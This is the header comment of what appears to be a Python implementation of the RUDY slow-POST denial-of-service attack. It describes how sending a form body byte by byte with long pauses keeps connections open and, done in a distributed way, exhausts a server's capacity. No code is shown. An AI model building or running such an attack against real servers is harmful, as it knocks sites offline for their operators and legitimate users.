#  Description: Implementation of RUDY (Are you dead yet?)       #
#               Denial of Service attack in Python. It is a      #
#               "low and slow" attack which generates low        #
#               traffic in order to make each HTTP POST request  #
#               last around 10 minutes. It basically fills       #
#               a form but sends the body of the request byte    #
#               by byte, waiting several seconds after each      #
#               one. In this way, we simulate that we are a      #
#               client with very little bandwith. If we do this  #
#               distributedly, we may exhaust the available      # 
#               server connections, making it impossible for a   #
#               legitimate client to connect.                    #
#                                                                #
